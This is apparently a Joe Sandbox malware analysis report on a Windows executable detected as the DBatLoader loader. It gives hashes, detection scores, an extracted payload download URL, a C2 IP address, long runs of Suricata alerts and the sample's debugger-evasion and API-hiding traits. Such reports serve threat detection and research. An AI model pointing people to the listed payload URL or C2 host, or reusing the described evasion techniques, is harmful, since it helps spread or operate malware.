Edit tour

Windows Analysis Report
LbZ88q4uPa.exe

Overview

General Information

Sample name:	LbZ88q4uPa.exe renamed because original name is a hash value
Original sample name:	bf9b75adf866583299dbc8a5fad66cfc.exe
Analysis ID:	1590516
MD5:	bf9b75adf866583299dbc8a5fad66cfc
SHA1:	377f83f54d1226a181f265557804001cb9deee6a
SHA256:	1bec44aa19ea8daa0b7151b312975f3f753e03f0bbce5ebeab8dfda5fb736a91
Tags:	exeuser-abuse_ch
Infos:

Detection

DBatLoader

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected DBatLoader

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a connection to the internet is available

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query locales information (e.g. system language)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

LbZ88q4uPa.exe (PID: 7308 cmdline: "C:\Users\user\Desktop\LbZ88q4uPa.exe" MD5: BF9B75ADF866583299DBC8A5FAD66CFC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DBatLoader	This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.	No Attribution	https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html https://blog.vincss.net/re016-malware-analysis-modiloader/ https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4 https://isc.sans.edu/diary/Malspam+pushes+ModiLoader+DBatLoader+infection+for+Remcos+RAT/29896 https://kienmanowar.wordpress.com/2024/04/09/quicknote-phishing-email-distributes-warzone-rat-via-dbatloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["https://amazonenviro.com/245_Nsltarpncon"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2954365899.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000002.2938050052.0000000002296000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security

Unpacked PEs

Source	Rule	Description	Author
0.2.LbZ88q4uPa.exe.22965a8.1.raw.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0.2.LbZ88q4uPa.exe.2850000.2.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0.2.LbZ88q4uPa.exe.22965a8.1.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T08:22:59.636291+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	166.62.27.188	443	TCP
2025-01-14T08:23:01.167163+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	166.62.27.188	443	TCP
2025-01-14T08:23:02.813843+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	166.62.27.188	443	TCP
2025-01-14T08:23:04.488009+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	166.62.27.188	443	TCP
2025-01-14T08:23:06.112840+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	166.62.27.188	443	TCP
2025-01-14T08:23:07.733763+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	166.62.27.188	443	TCP
2025-01-14T08:23:09.383947+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	166.62.27.188	443	TCP
2025-01-14T08:23:11.014157+0100	2028371	3	Unknown Traffic	192.168.2.4	49745	166.62.27.188	443	TCP
2025-01-14T08:23:12.619106+0100	2028371	3	Unknown Traffic	192.168.2.4	49747	166.62.27.188	443	TCP
2025-01-14T08:23:14.247373+0100	2028371	3	Unknown Traffic	192.168.2.4	49749	166.62.27.188	443	TCP
2025-01-14T08:23:15.878852+0100	2028371	3	Unknown Traffic	192.168.2.4	49751	166.62.27.188	443	TCP
2025-01-14T08:23:17.483410+0100	2028371	3	Unknown Traffic	192.168.2.4	49754	166.62.27.188	443	TCP
2025-01-14T08:23:19.105707+0100	2028371	3	Unknown Traffic	192.168.2.4	49760	166.62.27.188	443	TCP
2025-01-14T08:23:20.741081+0100	2028371	3	Unknown Traffic	192.168.2.4	49763	166.62.27.188	443	TCP
2025-01-14T08:23:22.393223+0100	2028371	3	Unknown Traffic	192.168.2.4	49765	166.62.27.188	443	TCP
2025-01-14T08:23:23.995244+0100	2028371	3	Unknown Traffic	192.168.2.4	49767	166.62.27.188	443	TCP
2025-01-14T08:23:25.619767+0100	2028371	3	Unknown Traffic	192.168.2.4	49769	166.62.27.188	443	TCP
2025-01-14T08:23:27.268780+0100	2028371	3	Unknown Traffic	192.168.2.4	49771	166.62.27.188	443	TCP
2025-01-14T08:23:28.914870+0100	2028371	3	Unknown Traffic	192.168.2.4	49773	166.62.27.188	443	TCP
2025-01-14T08:23:30.570804+0100	2028371	3	Unknown Traffic	192.168.2.4	49775	166.62.27.188	443	TCP
2025-01-14T08:23:32.186581+0100	2028371	3	Unknown Traffic	192.168.2.4	49777	166.62.27.188	443	TCP
2025-01-14T08:23:33.822406+0100	2028371	3	Unknown Traffic	192.168.2.4	49779	166.62.27.188	443	TCP
2025-01-14T08:23:35.424446+0100	2028371	3	Unknown Traffic	192.168.2.4	49781	166.62.27.188	443	TCP
2025-01-14T08:23:37.077766+0100	2028371	3	Unknown Traffic	192.168.2.4	49783	166.62.27.188	443	TCP
2025-01-14T08:23:38.713940+0100	2028371	3	Unknown Traffic	192.168.2.4	49785	166.62.27.188	443	TCP
2025-01-14T08:23:40.474417+0100	2028371	3	Unknown Traffic	192.168.2.4	49787	166.62.27.188	443	TCP
2025-01-14T08:23:42.191342+0100	2028371	3	Unknown Traffic	192.168.2.4	49789	166.62.27.188	443	TCP
2025-01-14T08:23:43.829758+0100	2028371	3	Unknown Traffic	192.168.2.4	49791	166.62.27.188	443	TCP
2025-01-14T08:23:45.456082+0100	2028371	3	Unknown Traffic	192.168.2.4	49793	166.62.27.188	443	TCP
2025-01-14T08:23:47.062353+0100	2028371	3	Unknown Traffic	192.168.2.4	49795	166.62.27.188	443	TCP
2025-01-14T08:23:48.660247+0100	2028371	3	Unknown Traffic	192.168.2.4	49797	166.62.27.188	443	TCP
2025-01-14T08:23:50.280524+0100	2028371	3	Unknown Traffic	192.168.2.4	49799	166.62.27.188	443	TCP
2025-01-14T08:23:51.922767+0100	2028371	3	Unknown Traffic	192.168.2.4	49801	166.62.27.188	443	TCP
2025-01-14T08:23:53.556382+0100	2028371	3	Unknown Traffic	192.168.2.4	49803	166.62.27.188	443	TCP
2025-01-14T08:23:55.165928+0100	2028371	3	Unknown Traffic	192.168.2.4	49805	166.62.27.188	443	TCP
2025-01-14T08:23:56.747415+0100	2028371	3	Unknown Traffic	192.168.2.4	49808	166.62.27.188	443	TCP
2025-01-14T08:23:58.377559+0100	2028371	3	Unknown Traffic	192.168.2.4	49811	166.62.27.188	443	TCP
2025-01-14T08:24:00.013654+0100	2028371	3	Unknown Traffic	192.168.2.4	49818	166.62.27.188	443	TCP
2025-01-14T08:24:01.666961+0100	2028371	3	Unknown Traffic	192.168.2.4	49830	166.62.27.188	443	TCP
2025-01-14T08:24:03.454204+0100	2028371	3	Unknown Traffic	192.168.2.4	49846	166.62.27.188	443	TCP
2025-01-14T08:24:05.066971+0100	2028371	3	Unknown Traffic	192.168.2.4	49859	166.62.27.188	443	TCP
2025-01-14T08:24:06.690050+0100	2028371	3	Unknown Traffic	192.168.2.4	49871	166.62.27.188	443	TCP
2025-01-14T08:24:08.360097+0100	2028371	3	Unknown Traffic	192.168.2.4	49883	166.62.27.188	443	TCP
2025-01-14T08:24:10.096831+0100	2028371	3	Unknown Traffic	192.168.2.4	49895	166.62.27.188	443	TCP
2025-01-14T08:24:11.705347+0100	2028371	3	Unknown Traffic	192.168.2.4	49907	166.62.27.188	443	TCP
2025-01-14T08:24:13.288550+0100	2028371	3	Unknown Traffic	192.168.2.4	49919	166.62.27.188	443	TCP
2025-01-14T08:24:14.876986+0100	2028371	3	Unknown Traffic	192.168.2.4	49930	166.62.27.188	443	TCP
2025-01-14T08:24:16.470933+0100	2028371	3	Unknown Traffic	192.168.2.4	49942	166.62.27.188	443	TCP
2025-01-14T08:24:18.053865+0100	2028371	3	Unknown Traffic	192.168.2.4	49954	166.62.27.188	443	TCP
2025-01-14T08:24:19.638587+0100	2028371	3	Unknown Traffic	192.168.2.4	49967	166.62.27.188	443	TCP
2025-01-14T08:24:21.390415+0100	2028371	3	Unknown Traffic	192.168.2.4	49982	166.62.27.188	443	TCP
2025-01-14T08:24:22.975306+0100	2028371	3	Unknown Traffic	192.168.2.4	49992	166.62.27.188	443	TCP
2025-01-14T08:24:24.572059+0100	2028371	3	Unknown Traffic	192.168.2.4	50004	166.62.27.188	443	TCP
2025-01-14T08:24:26.184511+0100	2028371	3	Unknown Traffic	192.168.2.4	50016	166.62.27.188	443	TCP
2025-01-14T08:24:27.810360+0100	2028371	3	Unknown Traffic	192.168.2.4	50028	166.62.27.188	443	TCP
2025-01-14T08:24:29.395592+0100	2028371	3	Unknown Traffic	192.168.2.4	50038	166.62.27.188	443	TCP
2025-01-14T08:24:31.000833+0100	2028371	3	Unknown Traffic	192.168.2.4	50050	166.62.27.188	443	TCP
2025-01-14T08:24:32.797140+0100	2028371	3	Unknown Traffic	192.168.2.4	50061	166.62.27.188	443	TCP
2025-01-14T08:24:34.394719+0100	2028371	3	Unknown Traffic	192.168.2.4	50073	166.62.27.188	443	TCP
2025-01-14T08:24:35.989680+0100	2028371	3	Unknown Traffic	192.168.2.4	50087	166.62.27.188	443	TCP
2025-01-14T08:24:37.609406+0100	2028371	3	Unknown Traffic	192.168.2.4	50099	166.62.27.188	443	TCP
2025-01-14T08:24:39.409907+0100	2028371	3	Unknown Traffic	192.168.2.4	50112	166.62.27.188	443	TCP
2025-01-14T08:24:41.055359+0100	2028371	3	Unknown Traffic	192.168.2.4	50124	166.62.27.188	443	TCP
2025-01-14T08:24:42.806841+0100	2028371	3	Unknown Traffic	192.168.2.4	50129	166.62.27.188	443	TCP
2025-01-14T08:24:44.404774+0100	2028371	3	Unknown Traffic	192.168.2.4	50131	166.62.27.188	443	TCP
2025-01-14T08:24:46.721262+0100	2028371	3	Unknown Traffic	192.168.2.4	50133	166.62.27.188	443	TCP
2025-01-14T08:24:48.303889+0100	2028371	3	Unknown Traffic	192.168.2.4	50135	166.62.27.188	443	TCP
2025-01-14T08:24:49.896063+0100	2028371	3	Unknown Traffic	192.168.2.4	50137	166.62.27.188	443	TCP
2025-01-14T08:24:51.499235+0100	2028371	3	Unknown Traffic	192.168.2.4	50139	166.62.27.188	443	TCP
2025-01-14T08:24:53.082164+0100	2028371	3	Unknown Traffic	192.168.2.4	50141	166.62.27.188	443	TCP
2025-01-14T08:24:54.782093+0100	2028371	3	Unknown Traffic	192.168.2.4	50143	166.62.27.188	443	TCP
2025-01-14T08:24:56.382168+0100	2028371	3	Unknown Traffic	192.168.2.4	50145	166.62.27.188	443	TCP
2025-01-14T08:24:58.007807+0100	2028371	3	Unknown Traffic	192.168.2.4	50147	166.62.27.188	443	TCP
2025-01-14T08:24:59.617140+0100	2028371	3	Unknown Traffic	192.168.2.4	50149	166.62.27.188	443	TCP
2025-01-14T08:25:01.343332+0100	2028371	3	Unknown Traffic	192.168.2.4	50151	166.62.27.188	443	TCP
2025-01-14T08:25:02.976140+0100	2028371	3	Unknown Traffic	192.168.2.4	50153	166.62.27.188	443	TCP
2025-01-14T08:25:04.590604+0100	2028371	3	Unknown Traffic	192.168.2.4	50155	166.62.27.188	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: LbZ88q4uPa.exe

Malware Configuration Extractor: DBatLoader {"Download Url": ["https://amazonenviro.com/245_Nsltarpncon"]}

Multi AV Scanner detection for submitted file

Source: LbZ88q4uPa.exe	Virustotal: Detection: 81%			Perma Link
Source: LbZ88q4uPa.exe	ReversingLabs: Detection: 76%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Source: LbZ88q4uPa.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50112 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50129 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50131 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50137 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50143 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.4:50155 version: TLS 1.2

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe

Code function: 0_2_028558B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

0_2_028558B4

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://amazonenviro.com/245_Nsltarpncon

Source: C:\Users\user\Desktop\LbZ88q4uPa.exe

Code function: 0_2_0286E72C InternetCheckConnectionA,

0_2_0286E72C

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49775 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49767 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49769 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49781 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49779 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49795 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49799 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49763 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49791 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49801 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49771 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49783 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49797 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49803 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49846 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49789 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49749 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49760 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49818 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49777 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49805 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49765 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49895 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49745 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49773 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49808 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49859 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49751 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49830 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49930 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49871 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49942 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49907 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49954 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49967 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49982 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50004 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49787 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49811 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49883 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50038 -> 166.62.27.188:443
